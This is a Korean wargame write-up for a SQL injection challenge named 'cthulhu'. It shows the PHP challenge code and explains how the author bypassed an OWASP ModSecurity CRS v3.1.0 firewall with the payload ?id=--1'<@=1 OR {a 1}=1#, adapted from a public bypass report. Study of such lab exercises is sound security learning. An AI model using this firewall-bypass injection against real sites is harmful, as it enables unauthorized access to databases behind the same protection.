문제 코드

<?php
  include "./welcome.php";
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_cthulhu where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) solve("cthulhu");
  highlight_file(__FILE__);
?>

공격 백터

  • id
  • pw

공격 백터의 검증

  • id : prob, _, ., (), admin
  • pw : prob, _, ., (), admin

코드 설명

 $query = "select id from prob_cthulhu where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) solve("cthulhu");

이번 문제는 아주 간단하다. 필터링을 제외한 문자열을 입력하여, 쿼리문의 결과가 있으면 문제 클리어된다.

문제 풀이

문제는 엄청 간단하지만, OWASP에서 제작한 웹 애플리케이션 방화벽 룰셋이 적용되어 있어서 이를 우회를 해야한다.

 

일단 주석처리가 되는지 확인하였는데 문제 없이 작동하였다.

 

?id=1’ or 1=1#

이와 같이 쿼리문에 간단한 SQLi를 넣어지만, 1=1이 룰셋에 설정되어 있는 것으로 보인다.

 

나는 우회를 위해 CRS v3.1.0 bypass로 검색을 하여, Bypass 쿼리문을 찾을 수 있었다.
Bypass the latest CRS v3.1.0 rules of SQL injection · Issue #1181 · SpiderLabs/owasp-modsecurity-crs · GitHub 사이트에 들어가면 다양한 쿼리문 있는데, 나는 글에 나온 쿼리문 중 몇 개를 선택하여 커스텀 후 공격에 시도하였다.

 

?id=--1'<@=1 OR {a 1}=1#

그 결과 아주 먹혀서 문제가 클리어할 수 있었다.

 


원리를 살펴보자면, `<@`의 경우 실행되면 Null이 출력하게 되고, False가 된다.
또한 `{a 1}`는 1이 나오기 때문에 `{a 1}=1`는 True가 나오게 됨으로, `1=1`와 같은 효과를 얻게 된다.
그래서 SQLi가 잘 작동 된 것 였다.

복사했습니다!